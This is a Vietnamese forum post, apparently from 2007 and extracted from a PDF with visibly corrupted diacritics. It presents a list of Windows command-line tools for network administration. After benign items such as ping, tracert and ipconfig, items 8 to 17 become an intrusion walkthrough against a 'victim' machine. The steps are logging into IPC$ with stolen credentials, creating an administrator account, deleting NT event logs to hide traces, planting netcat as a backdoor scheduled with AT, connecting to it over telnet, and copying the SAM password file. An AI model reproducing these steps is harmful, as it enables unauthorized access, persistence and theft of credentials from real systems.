Tải bản đầy đủ (.pdf) (3 trang)

các câu lệnh dos trong máy tính

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (58.6 KB, 3 trang )








View Full Version : Các l nh DOS dùng cho qu n tr M NG máy tínhệ ả ị Ạ
truongtranich
21-11-2007, 21:08
Hôm nay post bài v các l nh c b n và r t quan trong đói v i nh ng b n qu n lýề ệ ơ ả ấ ớ ữ ạ ả
m ng máy tính đ check,repaid m ng khi có s c .ạ ể ạ ự ố
Đây là nh ng l nh c a DOS r t hay, các b n đ c và th c hành ngay nhé(các b n vàoữ ệ ủ ấ ạ ọ ự ạ
RUN >cmd >th c hi n các l nh trong bài.ự ệ ệ
Default M t s l nh CMD c b n trong dossộ ố ệ ơ ả
Đ u tiên kh i đ ng Command Promt lên đã, vào Start=>Run, gõ CMD, n ENTER. ầ ở ộ ấ
1. L nh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: đ a ch IP c a máy c nệ ị ỉ ủ ầ
ki m tra; host là tên c a máy tính c n ki m tra. Ng i ta có th s d ng đ a ch IPể ủ ầ ể ườ ể ử ụ ị ỉ
ho c tên c a máy tính. - Tham s /t: S d ng tham s này đ máy tính liên t c "ping"ặ ủ ố ử ụ ố ể ụ
đ n máy tính đích, cho đ n khi b n b m Ctrl + C - Tham s /a: Nh n đ a ch IP t tênế ế ạ ấ ố ậ ị ỉ ừ
host - Tham s /l : Xác đ nh đ r ng c a gói tin g i đi ki m tra. M t s hacker s d ngố ị ộ ộ ủ ử ể ộ ố ử ụ
tham s này đ t n công t ch i d ch v m t máy tính (Ping of Death - m t lo i DoS),ố ể ấ ừ ố ị ụ ộ ộ ạ
nh ng tôi nghĩ là hacker có công c riêng đ ping m t gói tin l n nh th này, và ph iư ụ ể ộ ớ ư ế ả
có nhi u máy tính cùng ping m t l t. - Tham s /n : Xác đ nh s gói tin s g i đi. Víề ộ ượ ố ị ố ẽ ử
d : ping 174.178.0.1/n 5 Công d ng : + L nh này đ c s d ng đ ki m tra xem m tụ ụ ệ ượ ử ụ ể ể ộ
máy tính có k t n i v i m ng không. L nh Ping s g i các gói tin t máy tính b nế ố ớ ạ ệ ẽ ử ừ ạ
đang ng i t i máy tính đích. Thông qua giá tr mà máy tính đích tr v đ i v i t ng góiồ ớ ị ả ề ố ớ ừ
tin, b n có th xác đ nh đ c tình tr ng c a đ ng truy n (ch ng h n: g i 4 gói tinạ ể ị ượ ạ ủ ườ ề ẳ ạ ử
nh ng ch nh n đ c 1 gói tin, ch ng t đ ng truy n r t ch m (x u)). Ho c cũng cóư ỉ ậ ượ ứ ỏ ườ ề ấ ậ ấ ặ
th xác đ nh máy tính đó có k t n i hay không (N u không k t n i,k t qu là Unknowể ị ế ố ế ế ố ế ả
host)


2. L nh Tracert : Cú pháp : Code: tracert ip/host Công d ng : + L nh này s cho phépệ ụ ệ ẽ
b n "nhìn th y" đ ng đi c a các gói tin t máy tính c a b n đ n máy tính đích, xemạ ấ ườ ủ ừ ủ ạ ế
gói tin c a b n vòng qua các server nào, các router nào Quá hay n u b n mu n thămủ ạ ế ạ ố
dò m t server nào đó.ộ
3. L nh Net Send, g i thông đi p trên m ng (ch s d ng trên h th ng máy tình Winệ ở ệ ạ ỉ ử ụ ệ ố
NT/2000/XP): Cú pháp: Net send ip/host thông_đi p_mu n_g i Công d ng: + L nhệ ố ở ụ ệ
này s g i thông đi p t i máy tính đích (có đ a ch IP ho c tên host) thông đi p:ẽ ử ệ ớ ị ỉ ặ ệ
thông_đi p_mu n_g i. + Trong m ng LAN, ta có th s d ng l nh này đ chat v iệ ố ở ạ ể ử ụ ệ ể ớ
nhau. Trong phòng vi tính c a tr ng tui th ng dùng l nh này đ gh o m i ng i!ủ ườ ườ ệ ể ẹ ọ ườ
B n cũng có th g i cho t t c các máy tính trong m ng LAN theo c u trúc sau : Code:ạ ể ở ấ ả ạ ấ
Net send * hello!I'm pro_hacker_invn
4. L nh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham s /a: Hi n th t t c cácệ ố ể ị ấ ả
k t n i và các c ng đang l ng nghe (listening) - Tham s /e: hi n th các thông tinế ố ổ ắ ố ể ị
th ng kê Ethernet - Tham s /n: Hi n th các đ a ch và các s c ng k t n i Ngo i raố ố ể ị ị ỉ ố ổ ế ố ả
còn m t vài tham s khác, hãy gõ Netstat/? đ bi t thêm Công d ng : + L nh Netstatộ ố ể ế ụ ệ
cho phép ta li t kê t t c các k t n i ra và vào máy tính c a chúng ta. ệ ấ ả ế ố ủ
5. L nh IPCONFIG : Cú pháp: Code: ipconfig /all Công d ng: + L nh này s cho phépệ ụ ệ ẽ
hi n th c u hình IP c a máy tính b n đang s d ng, nh tên host, đ a ch IP, m t nể ị ấ ủ ạ ử ụ ư ị ỉ ặ ạ
m ng ạ
6. L nh FTP (truy n t i file): Cú pháp: Code: ftp ip/host N u k t n i thành công đ nệ ề ả ế ế ố ế







máy ch , b n s vào màn hình ftp, có d u nh c nh sau: Code: ftp>_ T i đây, b n sủ ạ ẽ ấ ắ ư ạ ạ ẽ
th c hi n các thao tác b ng tay v i ftp, thay vì dùng các ch ng trình ki u Cute FTP,ự ệ ằ ớ ươ ể
Flash FXP. N u k t n i thành công, ch ng trình s yêu c u b n nh p User name,ế ế ố ươ ẽ ầ ạ ậ

Password. N u username và pass h p l , b n s đ c phép upload, duy t file trênế ợ ệ ạ ẽ ượ ệ
máy ch . M t s l nh ftp c b n: -cd thu_muc: chuy n sang th m c khác trên máyủ ộ ố ệ ơ ả ể ư ụ
ch - dir: Xem danh sách các file và th m c c a th m c hi n th i trên máy ch -ủ ư ụ ủ ư ụ ệ ờ ủ
mdir thu_muc: T o m t th m c m i có tên thu_muc trên máy ch - rmdir thu_muc:ạ ộ ư ụ ớ ủ
Xoá (remove directory) m t th m c trên máy ch - put file: t i m t file file (đ y độ ư ụ ủ ả ộ ầ ủ
c đ ng d n. VD: c:\tp\bin\baitap.exe) t máy b n đang s d ng lên máy ch . - close:ả ườ ẫ ừ ạ ử ụ ủ
Đóng phiên làm vi c - quit: Thoát kh i ch ng trình ftp, quay tr v ch đ DOSệ ỏ ươ ở ề ế ộ
command. Ngoài ra còn m t vài l nh n a, xin m i các b n t tìm hi u. Công d ng : +ộ ệ ữ ờ ạ ự ể ụ
FTP là m t giao th c đ c s d ng đ g i và nh n file gi a các máy tính v i nhau.ộ ứ ượ ử ụ ể ử ậ ữ ớ
Windows đã cài đ t s n l nh ftp, có tác d ng nh m t ch ng trình ch y trên n nặ ẵ ệ ụ ư ộ ươ ạ ề
console (văn b n), cho phép th c hi n k t n i đ n máy ch ftp ả ự ệ ế ố ế ủ
7. L nh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Côngệ
d ng: + N u ch đánh net view [enter], nó s hi n ra danh sách các máy tính trongụ ế ỉ ẽ ệ
m ng cùng domain qu n lý v i máy tính b n đang s d ng. + N u đánh net viewạ ả ớ ạ ử ụ ế
\\tenmaytinh, s hi n th các chia s tài nguyên c a máy tính tenmaytinh . Sau khi sẽ ể ị ẻ ủ ử
d ng l nh này, các b n có th s d ng l nh net use đ s d ng các ngu n tài nguyênụ ệ ạ ể ử ụ ệ ể ử ụ ồ
chia s này.ẻ
8. L nh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***" - ip: đ a ch IP c aệ ị ỉ ủ
victim. - ***: user c a máy victim - pass: password c a user Gi s ta có đc user vàủ ủ ả ử
pass c a victim có IP là 68.135.23.25 trên net thì ta đã có th k t n i đ n máy tính đóủ ể ế ố ế
rùi đ y! Ví d : user: vitim ; pass :12345 . Ta dùng l nh sau: Code: Netấ ụ ệ
use \\68.135.23.25\ipc$ "12345" /user:"victim" Công d ng: + k t nói m t IPC$ đ n máyụ ế ộ ế
tính victim (b t đ u quá trình xâm nh p). ắ ầ ậ
9. L nh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tênệ
user c n add - pass : password c a user c n add Khi đã add đc user vào rùi thì ta ti nấ ủ ầ ế
hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator
[username] [/add] Công d ng: + N u ta ch đánh l nh Net User thì s hi n th các userụ ế ỉ ệ ẽ ể ị
có trong máy tính. + N u ta đánh l nh Net User [username pass] [/add] thì máy tính sế ệ ẽ
ti n hành thêm m t ng i dùng vào. Ví d : ta ti n hành add thêm m t user có tên làế ộ ườ ụ ế ộ
uanhoa , password là :banvatoi vào v i c u trúc l nh nh sau: Code: Net User xuanhoaớ ấ ệ ư

banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup
Administrator xuanhoa /add
10. L nh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f]ệ
[-c "commet] [-d up x:yy] (áp d ng cho win XP) - Tham s -m\\ip : ra l nh cho m t máyụ ố ệ ộ
tính t xa th c hiên các l nh shutdown, restart, - Tham s -t xx : đ t th i gian cho vi cừ ự ệ ố ặ ờ ệ
th c hi n l nh shutdown. - Tham s -l : logg off (l u ý ko th th c hi n khi remote) -ự ệ ệ ố ư ể ự ệ
Tham s -s : shutdown - Tham s -r : shutdown và restart - Tham s -a : không choố ố ố
shutdown - Tham s -f : shutdown mà ko c nh báo - Tham s -c "comment" : l i c nhố ả ố ờ ả
báo tr c khi shutdown - Tham s -d up x:yy : ko rõ Code: shutdown \\ip (áp d ng winướ ố ụ
NT) Đ rõ h n v l nh shutdown b n có th gõ shutdown /? đ đ c h ng d n cể ơ ề ệ ạ ể ể ượ ướ ẫ ụ
th h n! Công d ng: + Shutdown máy tính. ể ơ ụ
11. L nh DIR : Cú pháp: Code: DIR [drive:][path][filename] L nh này quá căn b n rùi,ệ ệ ả
ch c tui kh i h ng d n, đ rõ h n b n đánh l nh DIR /? đ đ c h ng d n. Côngắ ỏ ướ ẫ ể ơ ạ ệ ể ượ ướ ẫ







d ng: + Đ xem file, folder. ụ ể
12. L nh DEL : Cú pháp: Code: DEL [drive:][path][filename] L nh này cũng căn b nệ ệ ả
rùi, ko ph i nói nhìu. Công d ng: Xóa m t file, thông th ng sau khi xâm nh p vào hả ụ ộ ườ ậ ệ
th ng, ta phái ti n hành xóa d u v t c a mình đ kh i b phát hi n.Sau đây là nh ngố ế ấ ế ủ ể ỏ ị ệ ữ
files nh t ký c a Win NT: Code: del C:\winnt\system32\logfiles\*.* delậ ủ
C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\
*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
13. L nh t o đĩa o trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( ho c là IPC$ )ệ ạ ổ ả ặ
- Z là c a mình còn C$ là c a Victim Công d ng: T o 1 đĩa o trên máy tính (l nhủ ủ ụ ạ ả ệ
này tui ko rõ nên ko th h ng d n chi ti t đc) ể ướ ẫ ế

14. L nh Net Time : Cú pháp: Code: Net Time \\ip Công d ng: + Cho ta bi t th i gianệ ụ ế ờ
c a victim, sau đó dùng l nh AT đ kh i đ ng ch ng trình. ủ ệ ể ở ộ ươ
15. L nh AT: Cú pháp: Code: AT \\ip Công d ng: + Thông th ng khi xâm nh p vàoệ ụ ườ ậ
máy tính victim khi rút lui thì ta s t ng quà l u ni m lên máy tính victim, khi đã copyẽ ặ ư ệ
troj ho c backdoor lên máy tính rùi ta s dùng l nh at đ kh i đ ng chúng. Ví d : ặ ẽ ệ ể ở ộ ụ ở
đây tui có con troj tên nc.exe (NC là t vi t t c c a NETCAT nó là m t telnet serverừ ế ắ ủ ộ
v i port 99) và đc copy lên máy victim rùi. Đ u tiên ta c n bi t th i gian c a victim cóớ ầ ầ ế ờ ủ
IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó s ph n h i cho ta th iẽ ả ồ ờ
gian c a victim, ví d : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đ i đ n 12:3 là nóủ ụ ợ ế
s t ch y trên máy n n nhân và chúng ta có th connected đ n port 99. ẽ ự ạ ạ ể ế
16. L nh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? đ bi t thêm chi ti t.ệ ể ế ế
Nh ng n u nh máy victim đã dính con nc r i thì ta ch c n connect đ n port 99 làư ế ư ồ ỉ ầ ế
OKie Code: telnet 68.135.23.25 99 Công d ng: + K t n i đ n host qua port xx ụ ế ố ế
17. L nh COPY: Cú pháp: Code: COPY /? Dùng l nh trên đ rõ h n! Công d ng: +ệ ệ ể ơ ụ
Copy file, tui kh i nói thêm nhé. Ví d :chúng ta copy files index trên C c a mình lênỏ ụ ổ ủ
C c a 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html n u b n copy lênổ ủ ế ạ
folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html mu n copy files trênố
máy victm thì b n gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\ ạ
18. L nh SET: Cú pháp: Code: SET Công d ng: + Displays, sets, or removes cmd.exeệ ụ
enviroment variables. 19. L nh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ l nh trên đ rõệ ệ ể
h n v l nh này. Công d ng: + Display protocol statistic and curent TCP/IP connectionsơ ề ệ ụ
using NBT (netbios over TCP?IP) Trên đây là m t s hi u bi t h n h p c a em v cácộ ố ể ế ạ ẹ ủ ề
l nh CMD, em đã đ c đ c t r t nhi u ngu n khác nhau, nay t ng h p l i cho m iệ ọ ượ ừ ấ ề ồ ổ ợ ạ ọ
ng i tham kh o. Có m t s l nh em v n ch a hi u c u trúc l nh và ch a có đi uườ ả ộ ố ệ ẫ ư ể ấ ệ ư ề
ki n đ th c hành th nên ko h ng d n k . Ai bi t thì góp ý nhé! Mong các Cao thệ ể ự ử ướ ẫ ỹ ế ủ
đ ng c i! N u th y bài vi t c a Mình hay thì làm n thank cho m t cái nhé!ừ ườ ế ấ ế ủ ơ ộ

×